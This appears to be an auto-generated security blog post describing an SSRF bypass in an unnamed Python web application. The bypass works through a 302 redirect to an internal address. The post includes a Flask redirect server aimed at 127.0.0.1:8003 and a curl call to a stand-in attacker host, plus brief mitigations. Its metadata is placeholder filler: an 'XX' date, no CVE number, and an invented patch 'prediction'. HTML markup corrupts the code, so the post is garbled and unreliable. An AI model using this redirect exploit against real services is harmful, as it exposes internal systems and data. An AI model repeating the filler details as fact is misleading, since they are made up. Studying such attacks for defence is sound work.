Listen to this Post
How the mentioned CVE works:
The vulnerability exists in a Python-based web application. The initial patch for an SSRF flaw only validated the user-supplied URL for the first request. An attacker can host a malicious server that responds with an HTTP 302 redirect to an internal, restricted address. The application’s HTTP client follows the redirect without applying the same security checks to the new destination URL. This allows the attacker to bypass IP blocklists and port restrictions, redirecting the application’s request to an internal system. For example, a request to http://attacker.com/redirect` is made. The attacker's server responds with a redirect tohttp://127.0.0.1:8003/uid.txt`. The vulnerable application follows it, fetching sensitive data from the internal service on a non-standard port, successfully exploiting the SSRF.
Platform: Python Web Application
Version: Specific versions unknown
Vulnerability : SSRF via Redirect
Severity: Critical
date: 2021-XX-XX
Prediction: Patch expected 2021-Q4
What Undercode Say:
Attacker sets up redirect server
cat > ssrf_server.py << 'EOF'
from flask import Flask, redirect
app = Flask(<strong>name</strong>)
@app.route('/redirect')
def ssrf_redirect():
return redirect('http://127.0.0.1:8003/uid.txt', code=302)
if <strong>name</strong> == '<strong>main</strong>':
app.run(host='0.0.0.0', port=8080)
EOF
python ssrf_server.py &
Simulating the vulnerable application's request
curl http://attacker-server:8080/redirect
How Exploit:
Attacker hosts a malicious Flask server on an allowed port (e.g., 8080). The server has an endpoint (/redirect) that returns a 302 redirect response pointing to an internal IP and port. The victim application, after the initial allowed request, follows the redirect to the internal service without validation, leading to data access.
Protection from this CVE:
Apply comprehensive patch.
Disable HTTP redirects.
Validate all URLs.
Use network segmentation.
Implement allow lists.
Impact:
Internal network access.
Sensitive data exposure.
Bypass of security controls.
Potential remote code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
